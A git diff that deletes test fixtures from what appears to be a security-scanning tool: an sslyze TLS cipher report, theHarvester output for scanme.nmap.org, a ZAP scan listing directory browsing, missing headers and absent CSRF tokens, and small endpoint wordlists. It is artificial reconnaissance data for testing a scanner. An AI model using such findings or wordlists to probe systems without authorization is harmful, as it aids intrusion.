- "openssl_name": "EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256", - "openssl_name": "DHE-RSA-CHACHA20-POLY1305" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "DHE-RSA-ARIA256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "DHE-RSA-ARIA128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "DHE-RSA-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CCM_8", - "openssl_name": "DHE-RSA-AES256-CCM8" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CCM", - "openssl_name": "DHE-RSA-AES256-CCM" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA256", - "openssl_name": "DHE-RSA-AES256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "DHE-RSA-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CCM_8", - "openssl_name": "DHE-RSA-AES128-CCM8" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CCM", - "openssl_name": "DHE-RSA-AES128-CCM" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "DHE-RSA-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DHE-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "DHE-DSS-ARIA256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "DHE-DSS-ARIA128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384", - "openssl_name": "DHE-DSS-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA256", - "openssl_name": "DHE-DSS-AES256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_GCM_SHA256", - "openssl_name": "DHE-DSS-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA256", - "openssl_name": "DHE-DSS-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - } - ], - "tls_version_used": "TLS_1_2" - }, - "status": "COMPLETED" - }, - "tls_1_3_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [], - "is_tls_version_supported": false, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_CHACHA20_POLY1305_SHA256", - "openssl_name": "TLS_CHACHA20_POLY1305_SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_AES_256_GCM_SHA384", - "openssl_name": "TLS_AES_256_GCM_SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_AES_128_GCM_SHA256", - "openssl_name": "TLS_AES_128_GCM_SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_AES_128_CCM_SHA256", - "openssl_name": "TLS_AES_128_CCM_SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_AES_128_CCM_8_SHA256", - "openssl_name": "TLS_AES_128_CCM_8_SHA256" - }, - "error_message": "Server rejected the connection" - } - ], - "tls_version_used": "TLS_1_3" - }, - "status": "COMPLETED" - }, - "tls_1_3_early_data": { - "error_reason": null, - "error_trace": null, - "result": null, - "status": "NOT_SCHEDULED" - }, - "tls_compression": { - "error_reason": null, - "error_trace": null, - "result": { - "supports_compression": true - }, - "status": "COMPLETED" - }, - "tls_fallback_scsv": { - "error_reason": null, - "error_trace": null, - "result": null, - "status": "NOT_SCHEDULED" - } - }, - "scan_status": "COMPLETED", - "server_location": { - "connection_type": "DIRECT", - "hostname": "10.10.10.10", - "http_proxy_settings": null, - "ip_address": "216.37.64.137", - "port": 443 - }, - "uuid": "233f7e4b-a6d2-48b8-b595-0510f2bc39ce" - } - ], - "sslyze_url": "https://github.com/nabla-c0d3/sslyze", - "sslyze_version": "5.0.1" -} \ No newline at end of file diff --git a/src/backend/testing/data/reports/theharvester/scanme.json b/src/backend/testing/data/reports/theharvester/scanme.json deleted file mode 100644 index 8775e983c..000000000 --- a/src/backend/testing/data/reports/theharvester/scanme.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "asns": [ - "AS63949" - ], - "interesting_urls": [ - "http:\/\/scanme.nmap.org", - "http:\/\/scanme.nmap.org\/", - "http:\/\/scanme.nmap.org\/\/r\/n\/r\/nUser:\/r\/n-" - ], - "ips": [ - "45.33.32.156", - "74.207.244.221", - "2600:3c01::f03c:91ff:fe18:bb2f" - ], - "shodan": [] -} \ No newline at end of file diff --git a/src/backend/testing/data/reports/zap/active-scan.xml b/src/backend/testing/data/reports/zap/active-scan.xml deleted file mode 100644 index 1ff12a0ac..000000000 --- a/src/backend/testing/data/reports/zap/active-scan.xml +++ /dev/null @@ -1,339 +0,0 @@ - - - - - - - - 0 - 0 - Directory Browsing - Directory Browsing - 2 - 2 - Medium (Medium) - Medium - <p>It is possible to view the directory listing. Directory listing may reveal hidden scripts, include files, backup source files, etc. which can be accessed to read sensitive information.</p> - - - - http://10.10.10.10/images/ - GET - - http://10.10.10.10/images/ - Parent Directory - - - - - http://10.10.10.10/shared/ - GET - - http://10.10.10.10/shared/ - Parent Directory - - - - - http://10.10.10.10/shared/css/ - GET - - http://10.10.10.10/shared/css/ - Parent Directory - - - - - http://10.10.10.10/shared/images/Acunetix/ - GET - - http://10.10.10.10/shared/images/Acunetix/ - Parent Directory - - - - 4 - <p>Disable directory browsing. If this is required, make sure the listed files does not induce risks.</p> - - <p>http://httpd.apache.org/docs/mod/core.html#options</p><p>http://alamo.satlug.org/pipermail/satlug/2002-February/000053.html</p> - 548 - 48 - 118 - - - - - 10020 - 10020 - X-Frame-Options Header Not Set - X-Frame-Options Header Not Set - 2 - 2 - Medium (Medium) - Medium - <p>X-Frame-Options header is not included in the HTTP response to protect against 'ClickJacking' attacks.</p> - - - - http://10.10.10.10 - GET - X-Frame-Options - - - - - - - http://10.10.10.10/ - GET - X-Frame-Options - - - - - - 2 - <p>Most modern Web browsers support the X-Frame-Options HTTP header. Ensure it's set on all web pages returned by your site (if you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. Alternatively consider implementing Content Security Policy's "frame-ancestors" directive. </p> - - <p>https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options</p> - 1021 - 15 - 1 - - - - - 10202 - 10202 - Absence of Anti-CSRF Tokens - Absence of Anti-CSRF Tokens - 1 - 2 - Low (Medium) - Medium - <p>No Anti-CSRF tokens were found in a HTML submission form.</p><p>A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL/form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf.</p><p></p><p>CSRF attacks are effective in a number of situations, including:</p><p> * The victim has an active session on the target site.</p><p> * The victim is authenticated via HTTP auth on the target site.</p><p> * The victim is on the same local network as the target site.</p><p></p><p>CSRF has primarily been used to perform an action against a target site using the victim's privileges, but recent techniques have been discovered to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.</p> - - - - http://10.10.10.10 - GET - - - <form action="https://nmap.org/search.html" id="cse-search-box-sidebar"> - - - - - http://10.10.10.10/ - GET - - - <form action="https://nmap.org/search.html" id="cse-search-box-sidebar"> - - - - 2 - <p>Phase: Architecture and Design</p><p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</p><p>For example, use anti-CSRF packages such as the OWASP CSRFGuard.</p><p></p><p>Phase: Implementation</p><p>Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script.</p><p></p><p>Phase: Architecture and Design</p><p>Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).</p><p>Note that this can be bypassed using XSS.</p><p></p><p>Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.</p><p>Note that this can be bypassed using XSS.</p><p></p><p>Use the ESAPI Session Management control.</p><p>This control includes a component for CSRF.</p><p></p><p>Do not use the GET method for any request that triggers a state change.</p><p></p><p>Phase: Implementation</p><p>Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.</p> - <p>No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token] was found in the following HTML form: [Form 1: "cof" "cx" "ie" "q" "sa" ].</p> - <p>http://projects.webappsec.org/Cross-Site-Request-Forgery</p><p>http://cwe.mitre.org/data/definitions/352.html</p> - 352 - 9 - 1 - - - - - 10017 - 10017 - Cross-Domain JavaScript Source File Inclusion - Cross-Domain JavaScript Source File Inclusion - 1 - 2 - Low (Medium) - Medium - <p>The page includes one or more script files from a third-party domain.</p> - - - - http://10.10.10.10 - GET - //g.adspeed.net/ad.php?do=js&zid=14678&wd=-1&ht=-1&target=_blank - - <script type="text/javascript" src="//g.adspeed.net/ad.php?do=js&amp;zid=14678&amp;wd=-1&amp;ht=-1&amp;target=_blank"></script> - - - - - http://10.10.10.10 - GET - //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js - - <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> - - - - - http://10.10.10.10/ - GET - //g.adspeed.net/ad.php?do=js&zid=14678&wd=-1&ht=-1&target=_blank - - <script type="text/javascript" src="//g.adspeed.net/ad.php?do=js&amp;zid=14678&amp;wd=-1&amp;ht=-1&amp;target=_blank"></script> - - - - - http://10.10.10.10/ - GET - //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js - - <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> - - - - 4 - <p>Ensure JavaScript source files are loaded from only trusted sources, and the sources can't be controlled by end users of the application.</p> - - - 829 - 15 - 1 - - - - - 10096 - 10096 - Timestamp Disclosure - Unix - Timestamp Disclosure - Unix - 1 - 1 - Low (Low) - Low - <p>A timestamp was disclosed by the application/web server - Unix</p> - - - - http://10.10.10.10 - GET - - - 11009417 - - - - - http://10.10.10.10/ - GET - - - 11009417 - - - - - http://10.10.10.10/shared/images/Acunetix/acx_Chess-WB.gif - GET - - - 51125622 - - - - 3 - <p>Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.</p> - <p>11009417, which evaluates to: 1970-05-08 11:10:17</p> - <p>http://projects.webappsec.org/w/page/13246936/Information%20Leakage</p> - 200 - 13 - 1 - - - - - 10021 - 10021 - X-Content-Type-Options Header Missing - X-Content-Type-Options Header Missing - 1 - 2 - Low (Medium) - Medium - <p>The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the declared content type. Current (early 2014) and legacy versions of Firefox will use the declared content type (if one is set), rather than performing MIME-sniffing.</p> - - - - http://10.10.10.10 - GET - X-Content-Type-Options - - - - - - - http://10.10.10.10/ - GET - X-Content-Type-Options - - - - - - - http://10.10.10.10/images/sitelogo.png - GET - X-Content-Type-Options - - - - - - - http://10.10.10.10/shared/css/insecdb.css - GET - X-Content-Type-Options - - - - - - - http://10.10.10.10/shared/images/Acunetix/acx_Chess-WB.gif - GET - X-Content-Type-Options - - - - - - - http://10.10.10.10/shared/images/tiny-eyeicon.png - GET - X-Content-Type-Options - - - - - - - http://10.10.10.10/shared/images/topleftcurve.gif - GET - X-Content-Type-Options - - - - - - 7 - <p>Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages.</p><p>If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all, or that can be directed by the web application/web server to not perform MIME-sniffing.</p> - <p>This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type.</p><p>At "High" threshold this scan rule will not alert on client or server error responses.</p> - <p>http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx</p><p>https://owasp.org/www-community/Security_Headers</p> - 693 - 15 - 1 - - - - - - \ No newline at end of file diff --git a/src/backend/testing/data/resources/endpoints_wordlist_1.txt b/src/backend/testing/data/resources/endpoints_wordlist_1.txt deleted file mode 100644 index e53c39af2..000000000 --- a/src/backend/testing/data/resources/endpoints_wordlist_1.txt +++ /dev/null @@ -1,3 +0,0 @@ -/robots.txt -/admin -/about \ No newline at end of file diff --git a/src/backend/testing/data/resources/endpoints_wordlist_2.txt b/src/backend/testing/data/resources/endpoints_wordlist_2.txt deleted file mode 100644 index e53c39af2..000000000 --- a/src/backend/testing/data/resources/endpoints_wordlist_2.txt +++ /dev/null @@ -1,3 +0,0 @@ -/robots.txt -/admin -/about \ No newline at end of file diff --git a/src/backend/testing/data/resources/invalid_extension.pdf b/src/backend/testing/data/resources/invalid_extension.pdf deleted file mode 100644 index e53c39af2c46c579d241c19acca5a4fc534485d1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 25 ecmdNd%1_EKDb_2gDB;piOv%m615!!(r6mA#R|xF@ diff --git a/src/backend/testing/data/resources/invalid_mime_type.txt b/src/backend/testing/data/resources/invalid_mime_type.txt deleted file mode 100644 index e90321ef77423d2e48af548f8d964bb57a982ea4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4478 zcmeHLZ){Ul6z{+)zLf+SG1XwW{F!#*_WpKl$(Y+(CS^m)x`2U_^tJD9Jkq__y!Sc= zNT7=ii;OrH{uxMEMhJ#12Kb;K`0|8;BV>WNeIObGMDUBKiTfaGpx*P=LdQ_Q`k_tp zd-t7p?m73IdrxwHw=xuHu4Zd^sxo{3xBEYxnH;*Ay-M+jL27IpRab}TW;tPCjXV>g zfde?MN*K|tSm`vjB99N%*HgNoVX=$qDO=t?r`^@g*qXvEVS9PS(#&vsCYhlI=B+=>c++|IYym-;JKhBNmf_T4uke*4i6KX1r1*e1WMc!|P_ zl($Squo|{#RqZ>HWEml`(?Sg^2I9!)Hbl2!T}^3mtRrDc;8zuceAf{~MHJRzNfw*b z9<-Su0=LhNyaKm{B7x-nz`R2AAx({kv4J)dXMtu!2fK*Nru@^Ne+JPOM1Qa@whhM( z1UU&$R zP}pT^+AbGw?aw#M=GttwOG8V3JvqKmnU}t_w`}%{4kr^eOM_ApN++RI1*Iw|RY9o= zN>xy*g8xYsm}92x^2&$VnVqz!s1bdi^u=@|^!N&Nm2?1i%W>TH9%*v(T|Uo}Zt;0E zptwPdN2BvszvCJe#b|VNYZEx%A>u-zhxoT$3%jVZZ+31mDk;onAygReoFWF8t zCSG{heIWfx_Tor6xBvY1Ba6Q4{psFXErl-hUtY=d}Q#t866oj&1L)MT|XC#-rD_fI{o{crq-5|>BfQM z>AUAPHpbR3$=0E34-cI7jyboM_l0|=fkp55n1`(!^B8@+b z=oVSh384WxMeG&v6YmU@e$fyUYUdQw((@GSDWUNdPmqlSMlQcdD2FB@!V;6BLS`pK z#4#LK&2ZH$heVVRb;SB=IIc$EYLZH46)~=NOAOgez)&Yb85Wofi z44?t%05ZTNfC6CYu`uEQY5=TP>qEo^?|uLkz;c&_k!2}VXWFuA8MLgpVTL7( zRKd{lvK~gMC$_A$8t}UFiAo4Y0f1(Jrz^68u#~Mhd*G{4MaUi@+J;KEBg~Sa6SqJ17RR3`Lyhf2h{& z=G~|R6=bZ397Fgar6A+oEFsX-Wh6T@^cc=VPWdx>d@bR~(`CFsZW*4HF|{-7@opcf zkZ0!B3PnB)O_UQ@vu-uQ@=i=*Bi9A03T)WA83-yJDuOdjZV7?`QX+L7ah{1`cbxMG sOsyob*yG_kL=P5xULof5G4<4ct4x&`*)Pqoaw@PKM^#p?TGved4eM-@rT_o{ diff --git a/src/backend/testing/data/resources/invalid_size.txt b/src/backend/testing/data/resources/invalid_size.txt deleted file mode 100644 index 789e2f0ca..000000000 --- a/src/backend/testing/data/resources/invalid_size.txt +++ /dev/null @@ -1,209927 +0,0 @@ -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -password -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about -/robots.txt -/admin -/about 